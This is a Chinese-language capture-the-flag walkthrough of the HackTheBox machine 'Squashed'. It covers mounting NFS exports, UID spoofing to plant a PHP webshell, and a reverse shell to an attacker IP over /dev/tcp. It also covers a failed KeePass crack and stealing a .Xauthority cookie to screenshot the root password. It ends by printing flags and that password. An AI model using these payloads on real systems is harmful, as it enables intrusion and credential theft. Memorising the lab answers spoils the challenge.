Squashed HTB Writeup
知识点
1、rpcbind
协议的利用
2、nfs挂载目录写入webshell
3、keepass和john连用破解密码(虽然没有成功)
4、.Xauthority
文件的利用
5、xwd
截图
WP
1、直接访问IP,发现是一个家具网站
01.png常规nmap
扫描一波,发现开启了ssh,http和rpcbind协议
查一下2049端口nfs协议的利用:https://www.cnblogs.com/whitedream-/p/14113230.html
可以看到主要用一下几个命令
showmount --all {ip}
showmount --exports {ip}
mount -t nfs {ip}:{remote_dir} {local_dir}
我们这时候利用下上述命令探测靶机
03.png我们得到了/home/ross
和/var/www/html
两个目录,这时候我们可以挂载目录到本机
sudo mkdir /mnt/ross_folder && sudo mkdir /mnt/web_folder
mount -t nfs 10.10.11.191:/home/ross /mnt/ross_folder -o nolock
mount -t nfs 10.10.11.191:/var/www/html /mnt/web_folder -o nolock
04.png
web_folder
就是web
主目录,通过nfs
写webshell
,因为对应目录的uid
是2017,我们需要新建一个对应权限的用户
┌──(root192)-[/mnt]
└─# ls -ld web_folder
drwxr-xr-- 5 2017 www-data 4096 3月 6日 22:45 web_folder
# 新建用户
sudo useradd websheller
sudo usermod -u 2017 websheller
su websheller
在web根目录下新建webshell
,写入反弹shell,监听反弹shell端口并请求反弹shell文件,获得webshell
<?php system("bash -c 'bash -i &>/dev/tcp/10.10.14.18/1234 <&1'");?>
05.png
成功获得web权限和flag
alex@squashed:/var/www/html$ cat /home/alex/user.txt
cat /home/alex/user.txt
864e4567f548992256f98749ff9005aa
查看用户,发现有两个用户alex
和ross
,当前用户是alex
在ross目录下发现了.Xauthority
文件
关于此文件的简介可以看下面的连接,好像就是关于linux远程桌面的(我自己也不知道这么理解对不对)
Linux VDA 支持使用 X11 显示功能(包括 xterm
和 gvim
)进行交互式远程处理的环境。此功能提供必需的安全机制以确保 XClient 与 XServer 之间的通信安全。
可以通过两种方法确保此安全通信的权限安全:
- Xhost。默认情况下,Xhost 仅允许本地主机 XClient 与 XServer 进行通信。如果选择允许远程 XClient 访问 XServer,则必须运行 Xhost 命令授予对特定计算机的权限。或者,也可以使用 xhost + 以允许任意 XClient 连接到 XServer。
-
Xauthority。可以在每个用户的主目录中找到
.Xauthority
文件。它用于将凭据存储在 xauth 使用的 cookie 中以用于对 XServer 进行身份验证。启动 XServer 实例 (Xorg) 后,该 cookie 将用于对与该特定显示的连接进行身份验证。
kali的home目录下上也有这个文件,感兴趣的师傅可以去看看
08.png我们可以尝试先获取ross
的权限再尝试提权到root
,通过最初的nfs我们可以访问到ross的根目录,我们在这里找到一个.kdbx
后缀的文件,这是keepass
密码文件,可以使用john
或者hashcat
尝试破解
参考:https://blog.chaos.run/dreams/hashcat-recall-keepass-password/
主要会用到一下几个命令
# 提取 hash
keepass2john keepass.kdbx > keepass.hash
# 开始破解
hashcat -m 13400 -a 0 -w 1 keepass.hash dic2.txt --force
可以看到执行命令之后出现了报错
10.png网上搜索了一下相关的报错,应该是版本问题。
link: https://miloserdov.org/?p=5191
11.png我们需要换个思路,利用刚才发现的.Xauthority
文件
首先创建一个1001权限的新用户,用来操作文件
13.png以该用户登陆
14.png# 复制.Xauthority文件到/tmp目录下
# 将.Xauthority文件传到alex用户的那台机器上
cd /tmp
python3 -m http.server 80
下载.Xauthority
文件到靶机/tmp目录下,利用凭证截图
关于xwd
截图的参考连接:
https://feichashao.com/xwd-screenshot/
XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/miao.xwd
然后在把文件传回到攻击kali上面,可以直接将miao.xwd
文件复制到/var/www/html/
目录下,这样我们就可以通过web下载
mv /tmp/miao.xwd /var/www/html
# kali上执行
wget http://10.10.11.191/miao.xwd
# 转换图片为png
convert miao.xwd screenshot.png
查看截图就可以看到密码
12.png# root密码为 cah$mei7rai9A
0f1f4ec6ad3ac0e2380e57dd0b652e54